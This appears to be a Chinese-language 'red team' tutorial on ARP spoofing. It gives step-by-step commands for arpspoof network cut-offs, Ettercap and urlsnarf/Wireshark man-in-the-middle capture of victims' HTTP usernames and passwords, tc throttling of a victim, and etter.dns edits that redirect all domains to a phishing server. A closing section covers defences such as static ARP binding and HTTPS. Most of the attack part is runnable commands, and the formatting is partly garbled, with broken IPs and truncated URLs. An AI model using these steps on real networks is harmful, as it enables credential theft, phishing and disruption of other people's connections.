【红队入侵】ARP欺骗攻击与防御 一、ARP原理 1、ARP一些操作: 1 2 3 4 arp查看:arp -a命令 arp删除:arp -d 139.35 .255.255 tcp抓取模块网卡的所有arp请求:tcpdump -i eth0 -nn arp tcp抓取指定ip 的请求:tcpdump -i eth0 -nn arp and host IP
2、ARP协议工作原理
什么是ARP: 地址解析原理:即ARP,是根据IP地址获取物理地址的一个TCP/IP协议。
工作原理: ARP协议规定,每一台极端及都需要一个ARP表,用来保存IP地址和MAC地址的映射关系。 访问IP地址的时候就去查ARP表,从而找到对应的MAC地址。 如果ARP表中匹配不到,就会使用广播的方式发送一个ARP请求 ,目标主机收到请求之后会使用单播的方式返回一个ARP相应,告知自己的MAC地址 。 拿到MAC地址后,会将映射关系缓存到ARP表,而后传输数据到数据链路层进行解析转换。
ARP协议的作用: 网络中的数据传输所依赖的是MAC地址而不是IP地址,ARP协议负责将IP地址转换为MAC地址。ARP协议的主要工作是就是建立、查询、更新、删除ARP表项。
ARP查看: arp -a
所有的接口都是一个网卡。通过ipconfig可以查看有多少张网卡,没有开的网卡在arp中没有接口。
3、ARP工作流程: 通过ip -a可以查看到这块网卡的MAC地址
1 2 3 4 5 6 7 8 9 10 11 1 、先查一下该机器有没有ip:192.168 .1.13 的mac地址arp -a 如果有就先删除 arp -d 192.168 .1.13 2 、在centos7上抓包tcpdump -i eth0 -nn arp 或者 tcpdump -i eth0 -nn arp and host 192.168 .1.13 3 、ping以下这个IPping 192.168 .1.13 4 、查看抓包结果
二、ARP断网攻击攻击 1、arp断网攻击原理: 向目标主机不断的发送ARP报文,然后将其报文中的网关Mac地址设置为攻击机的mac地址。之后目标机器想访问网络发送数据包时,都会发送到攻击机,然后攻击机只需要做一个丢弃数据包的命令的命令,就可以断掉目标主机的网络。
2、Arpspoof介绍(kali自带) arpspoof是ARP欺骗工具,攻击者通过毒化受害者ARP缓存,将网关MAC地址替换为攻击者的的MAC地址 从而截取受害者发送和收到的数据包,可获取受害者账户、密码等。 命令使用:
1 2 3 4 5 6 arpspoof -i [interface ] -c [own | both ] -t [target ] [-r ] host -i :指定网卡,后面interface 是网卡的名称 -c :攻击机IP -t :目标机器的IP -r :网关IP 如:arpspoof -i eth0 -r 192.168.1.1 -t 192.168.1.13
3、攻击流程: 1、条件 :只要同处在同一个局域网中就可以?(两台机器能ping通,同时看一下arp -a | findstr 网关IP) 2、kali进行断网攻击:arpspoof -i 网卡名称 -r 网关IP -t 目标机器的IP 3、win10查看网络连接和kali的网络连接 4、win10查看此时arp表 5、停止攻击:在kali中进行ctrl+C进行退出。
4、ARP断网攻击的深入理解 kali攻击时:kali 不停的告诉win10网关的MAC地址变成了kali的MAC地址 kali 不停的告诉网关 win10的MAC地址变成了新的kali的MAC地址
三、ARP攻击-urlsnarf流量攻击和分析 kali数据包转发: 使得受害机察觉不到自己被攻击,出于安全考虑,linux系统默认是进制数据包转发的。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机的另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。我们需要手动开启转发功能。
1、如何开启通信转发? kali里有个/proc/sys/net/ipv4/ip_forward
配置文件 其默认是0禁止端口转发,将其改成1开启端口转发。
2、开启转发步骤 1 2 3 4 5 6 7 8 9 1 、查看当前时候开启了端口转发cat /proc/sys/net/ipv4/ip_forward 2 、开启通信转发的命令echo 1 >> /proc/sys/net/ipv4/ip_forward 3 、使用arpspoof发起ARP攻击arpspoof -i eth0 -r 192.168 .1.1 -t 192.168 .1.11 4 、win10验证是否转发成功在没开启端口转发之前进行ARP断网攻击,受害机是不能上网的。 在开启端口转发之后发起ARP断网攻击,受害机依然能上网。
3、dsniff工具: 1 2 3 4 5 6 7 8 9 1 、工具介绍:Dsniff是一个基于Unix系统网络嗅探工具,工具包含两个我们需要的两个工具包,arpspoof和urlsnarf。2 、安装方法:apt-get install dsniff3 、urlsnarf工具介绍urlsnarf -h urlsnarf [-n] [-i interface | -p pcapfile ] [-v ] pattern [expression ] -n :表示不反查主机名 -i :interface 网卡接口名 -p :pattern 表示对过滤的内容使用的正则表达式 -v :表示取相反,expression 是过滤语法,和tcpdump 的相同,请参考tcpdump 。
4、url 流量分析 1 2 3 4 5 6 7 8 9 10 11 12 13 1 、概念:URL流量嗅探操作非常类似中间人攻击,通过目标主机将路由流量注入到因特网。是通过ARP注入实现的。url嗅探能够实时跟踪电脑中的数据流量信息,并且分析出它的类型和去向。从而获取你的上网信息。 2 、攻击流程:1 、开启流量转发echo 1 >> /proc/sys/net/ipv4/ip_forward2 、开启ARP攻击arpspoof -i eth0 -r 192.168 .1.1 -t 192.168 .1.136 3 、捕获目标计算机的urlurlsnarf -i eth0 4 、靶机上网,访问网站1 、http:2 、http:5 、kali分析用户请求
四、ARP-wireshark获取用户数据 Wireshark工具介绍:kali自带
是非常流行的网络封装包分析软件 可以截取各种网络封包,显示网络封包的详细信息 可以在windows,linux和mac Os上运行。
2、ARP攻击截获密码的步骤 1 2 3 4 5 6 1 、开启数据包转发:echo 1 >> /proc/sys/net/ipv4/ip_forward2 、开启ARP工具:arpspoof -i eth0 -r 192.168 .1.1 -t 192.168 .1.136 3 、启动wireshark:wireshark4 、输入过滤条件:(ip.src==192.168 .1.136 or ip.dst==192.168 .1.136 ) and tcp.port==80 and http [5 、靶机登陆后台系统:http:6 、wireshark寻找用户的登陆信息。
3、wireshahrk过滤命令 讲解 1 2 3 4 5 6 7 8 9 10 11 1 、过滤源ip、目的ipip.dst==192.168 .1.136 ip.src==192.168 .1.136 2 、端口过滤tcp.port==80 tcp.dstport==80 tcp.srcport==80 3 、协议过滤http、tcp、ssh 4 、http.request.method="post" and tcp.port==80 /443 5 、通过Wireshark进行arp过滤可以查看自己的电脑有没有被别人控制一直在发arp信息。看发送自己的MAC地址是不是自己的。如果不是自己的可能表示就被攻击了。
4、注意: 1、只能抓取http协议的,https协议的需要有证书和解密的key 2、http走的是80端口,https走的是443端口。 3、通过Wireshark进行arp过滤可以查看自己的电脑有没有被别人控制一直在发arp信息。看发送自己的MAC地址是不是自己的。如果不是自己的可能表示就被攻击了。
五、ARP-Ettercap-截获流量信息 1、EtterCap-劫持用户流量工具介绍: root下【ettercap -G】打开 EtterCap介绍:是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明文数据通讯的安全性, 及时采取措施,避免敏感的用户名/密码等数据以明文的方式进行传输。 EtterCap几乎是每个渗透测试人员必备的工具之一。
2、Ettercap利用软件界面攻击和介绍 1、启动界面:是选择网卡和是否使用桥接模式进行二选一
1 2 3 4 5 sniffing at startup:开启嗅探模式 primary interface :选择网卡 Bridged sniffing :是否开启桥接模式Bridged interface :桥接模式下的网卡配置完成之后,点击上方的【对勾】即可完成配置
2、中间人攻击菜单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 1 、从左到右依次是:开始/暂停、扫描主机、主机列表、中间人攻击菜单、开始/停止攻击、更多选项2 、中间人攻击菜单:ARP poisoning:ARP攻击 DNP poisoning:DNP攻击 ICMP redirect:icmp重定向 Port stealing:端口欺骗 DHCP spoofing:DHCP欺骗 stop MITM:停止攻击 SSL intercept:ssl嗅探 3 、更多选项Targets:攻击列表 Hosts:显示主机列表 Filters:载入二进制脚本 Plugins:插件 Logging:日志 4 、hosts选项Hosts list :扫描到的主机列表 Enable ipv6 scan:扫描ipv6地址 Scan for hosts:扫描主机 load hosts form file:从外部文件载入主机列表 Save hosts to file:保存主机列表到文件 5 、Targets选项Current targets:正在攻击的列表 Select targets::选择攻击列表 Portocol:攻击协议 Reverse matching:匹配规则 Wipe targets:擦除攻击 6 、View选项Connections:连接信息(跟哪个主机的哪个端口连着) Profiles:IP地址信息(属于哪个网站什么的) Statistics:统计信息(对一些包的信息)
3、ARP截获用户信息攻击步骤: 1 2 3 4 5 6 7 8 9 10 11 12 13 1 、启动ettercap:ettercap -G 2 、点击右上角的对勾开始扫描需要先进行网卡设置,下边是选用桥接模式 通过【arp -a | findstr 网关ip】可以查看靶机的arp列表。 3 、点击左上角的三个杠查看软件查询到的主机列表(不会实时刷新,需要进行重新点击三杠进行更新列表)4 、然后将网关加入到Target1、将目标靶机加入到Target2可以在右上角的三个点更多中进行当前Target查看 5 、在右上角的地球的按钮是攻击列表,就可以进行对靶机的抓包。通过【arp -a | find str 192.168 .1.1 】来查看是否毒化 6 、右边的目标是停止按钮,左边有暂停扫描按钮。先停止ARP攻击,再停止数据转发。注意:想停止攻击的时候,要先进行右边的停止按钮,在进行左边的暂停扫描按钮。这样靶机是不会有任何的察觉的。 如果先进行左边的暂停扫描,就相当于发起了ARP断网攻击,会被对方察觉。
4、Ettercap利用命令行攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1 、运行命令讲解:好像不需要开启端口转发ettercap -i -eth0 -Tq -M arp:remote /ip (host) T:指的是text文本模式 q:指的是安静模式执行这个命令 i:后面跟的是连接局域网的网卡 M:后面跟的是指定使用arp的方式 >>:输出文件 2 、攻击命令攻击:ettercap -Tq -i eth0 -M arp:remote /192.168 .110.1 (网关IP) 只会将抓取的包输出到b.txt文件中,不能实时进行数据分析,只能从b.txt文件中进行分析 监听:tail -f b.txt 但是我们可以用这种命令同时的在另一个窗口中进行对b.txt文件进行监听,就可以起到实时监听的效果 升级监听:tail -f b.txt | grep "USER" 或者 tail -f b.txt | grep "CONTENT" 或者 tail -f b.txt | egrep "USER|CONTENT" 停止攻击:ctrl+c 保存监听用户信息文件:就是对日志进行一个保存 cat -n b.txt | egrep "USER|CONTENT" >arp.log -n:添加行号 egrep:过滤规则 >:输出文件
六、ARP限制网速攻击 1、TC工具介绍 在Linux中,流量控制都是通过TC这个工具来完成的。通常,要对网卡进行流量控制的配置,需要进行如下的步骤:
为网卡配置一个队列
在该队列中建立分类
根据需要建立子队和子分类
为每个分类建立过滤器
注意:在TC中使用下列的缩写表示相应的网络延迟:
1 2 3 4 时间的计量单位: s、sec或者secs 秒 ms、msec或者msecs 毫秒 us、usec、usecs或者一个无单位数字 微秒
2、TC命令介绍 1 2 3 4 5 6 7 8 9 10 11 12 13 1 、限制网速200 ms延时tc qdisc add eth0 root netem delay 200 ms qdisc:排队时间 add:添加 dev:设备(网卡) root:root用户身份 netem delay:设置网络延时时间 2 、取消限制网速200 ms延时 tc qdisc del dev eth0 root netem delay 200 ms del:删除 3 、修改网络延时 tc qdisc change dev eth0 root netem delay 300 ms change:修改
3、ARP攻击限制网速的具体步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1 、开启端口转发 cat /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward 2 、开启ARP攻击 arpspoof -i eth0 -r 网关IP192.168.1 .1 -t 靶机IP192.18.1 .136 3 、查看靶机当前的网速 https: 4 、开启网络延迟限速 tc qdisc add dev eth0 root netem delay 500 ms 5 、查看限速规则 tc qdisc show 6 、查看靶机当前的网速 https: tc qdisc change dev eth0 root netem delay 800 ms 8 、查看限速规则 tc qdisc show 9 、查看靶机当前网速 https: 10 、取消限制网速200 ms延时 tc qdisc del dev eth0 root netem delay 200 ms
4、限速原理讲解 1 2 3 4 ARP攻击之前:靶机通过路由器转交给服务器,服务器将数据转交给我们的路由器,再由路由器转交给靶机 ARP攻击之后:靶机将上网请求转发给攻击机,攻击机开启了数据转发,将数据转发给路由器,再由路由器转发给服务器。服务器将数据转发给路由器,路由器转发给攻击机,攻击机再转发给靶机。 限速之前:靶机将数据发送到攻击机,通过队列直接转发到路由器,不耗时。 限速之后:靶机将数据发送到攻击机,需要先在队列中进行500 ms的延时排队才能通过
七、ARP-DNS欺骗 1、DNS概念: DNS称之为域名系统。本地默认占用53端口,它本身的实质上是一个域名和ip的数据库服务器,他要完成的任务就是帮我们把输入的域名转换成ip地址,之后通过ip寻址连接目标服务器。
在我们在浏览器中输入地址之后会:
第一首先在DNS缓存表中进行寻找,第二在host配置表中进行查找,第三去DNS服务器中进行查找。
绑定的最近的DNS服务器绑定域名时,服务器会告诉DNS服务器当前绑定的ip是多少。
如果最近的DNS服务器没有的话,会将这个问题发送到其他的DNS服务器进行询问 。
然后通过ip地址找到你的MAC地址,通过MAC地址进行通讯。
2、DNS劫持 又称之为域名劫持,将目标的DNS询问请求进行劫持,只能对网关和靶机进行欺骗。
危害:能进行钓鱼等,让靶机询问假网址。
ettercap劫持的原理:局域网劫持,攻击者通过伪装成网关,劫持受害者的网络请求,将网络请求拦截到指定的服务器
3、ARP-DNS常用命令(win) 1 2 3 4 1 、查看DNS缓存表:ipconfig /displaydns2 、获取DNS地址:ping www.mashibing.com3 、刷新/删除DNS缓存:ipconfig /flushdns 如果有192 等局域网开头的DNS缓存就说明可能被DNS攻击了。
4、ARP-DNS欺骗攻击步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 1 、kali开启apache服务(kali自带):service apache2 start2 、访问apache主页查看apache是否开启:浏览器输入本机地址3 、编辑ettercap配置文件: 1 、进入cd /etc/ettercap 2 、复制原有的配置文件(环境恢复比较方便):cp etter.dns etter.dns1 3 、设置dns劫持配置文件:vi /etc/ettercap/etter.dns 在文件最后添加以下内容 * A 192.168 .110.12 * PTR 192.168 .110.12 www.*.com A 192.168 .110.12 wq保存 参数 *:代表所有的网站 也可设置某个网站 www.mashibing.com A:代表钓鱼的ip地址 PTR :常被用于反向地址解析 4 、ettercap劫持命令讲解 ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /被攻击者ip -i:网卡 -T:文本模式 -q:安静模式 -M:执行mitm攻击 -P:plugin 开始该插件 5 、靶机访问以下网站确认是否正确 随便访问一个 如京东 通过ping/dns查看 查看dns是否正确 6 、执行劫持命令 ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /192.168 .110.11 进行日志实时分析:tail -f b.txt 一个升级的实时日志分析:tail -f b.txt | grep "USER" 7 、注意:对https的网站有可能是拦截不住,是有一定概率的。看访问的页面有没有安全的检测。8 、通过ctrl+c停止劫持。 但是靶机的访问依然有问题,这是因为靶机的dns缓存依旧是错误的,需要ipconfig /flushdns进行依次刷新 。 9 、回复kali环境的文件配置 cd /etc/ettercap cd etter.dns etter.dns2 删除攻击文件 :rm etter.dns 将之前复制的那个文件进行恢复:cp etter.dns1 etter.dns
八、ARP防御方式 1、ARP攻击的原理 ARP攻击的原理是向网关和靶机不停的发送ARP欺骗报文,而我们的计算机和网关是实时的更新ARP缓存表,从而出现安全漏洞。
防御方法:我们对这种欺骗不相信或者不接受的话,就不会有问题。
可以从两方面下手: 1、让我们的电脑不接受欺骗包 2、及时接收到欺骗的包也不要相信
2、Windows防御 1、安装arp防火墙:如360安全卫士中的流量防火墙。可以追踪攻击者的IP和MAC地址。保护ARP表不受侵害
2、设置静态MAC地址防护
简介 :ARP表MAC地址绑定有动态和静态两种类型。动态会实时更新,不安全;静态是长久生效,不会随时间 或者通知而变化,很安全。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 、临时绑定,重启之后会失去保护效果(管理员)先查看网关IP和MAC地址:arp -a | findstr 192.168 .1.1 再查看一下本机的网卡 2 、查询本地连接的网卡ID号netsh i i show in 3 、临时绑定mac地址,重启失效netsh -c i i add neighbors ID号(7 ) 网关ip 网关mac地址 store=active neighbors:添加邻居地址 store=active:设置为临时绑定 4 、临时绑定,永久生效netsh -c i i add neighbors ID号(7 ) 网关ip 网关mac地址 store=persistent store=persistent:永久生效 问题:在使用命令的时候会显示对象已经存在 而通过【arp -d 192.168 .1.1 】进行的删除是不生效的,不好用 因此用【netsh -c i i delete ne 7 】这个7 是网卡ID,删除这个网卡的配置
3、Linux防御 1 2 3 4 5 6 7 8 9 10 11 12 1 、查询arp 表命令: 好像【arp -a】也可以用,但是Linux中不常用 【ip n】或者用【ip neigh】进行查询 2 、临时添加静态地址,重启后失效 arp -s 网关ip 网关mac地址 3 、添加静态地址,永久生效 将下面这个添加到rc.local里边,并设置 开机自启执行 vi /etc/rc.local chmod +x /etc/rc.d/rc.local 添加: arp -s 192.168 .110.1 e4:3 a:6 e:35 :98 :00 wq保存
4、路由/网关防护设置 1 2 3 4 5 6 1 、开启路由器配置网络 一般是http: 2 、在更多的局域网设置中有一个静态ip地址绑定列表 可以对网关进行静态绑定或执行绑定。 同时还需要对pc端进行一个绑定。 要不然在进行ARP攻击的时候,欺骗不到路由了却能欺骗靶机,也会出问题。
5、Web服务器防御ARP 1 2 3 4 5 6 7 8 web服务防御明文传输泄露用户信息的手段:使用加密协议:https 1、什么是http 超文本传输协议,是一个基于请求与响应,无状态的,应用层的协议,常基于tcp/ip协议传输数据。 2、什么是https https是身披ssl外壳的 http。https是一种通过计算机网络进行安全通信的传输协议,经过http进行通信,利用SSL/TLS建立全信道,加密数据包。 使用加密传输,不容易被拦截,更加安全。 TLS是传输层加密协议,前身是SSL协议。 https加密通信工作原理:需要用到证书和私钥、公钥。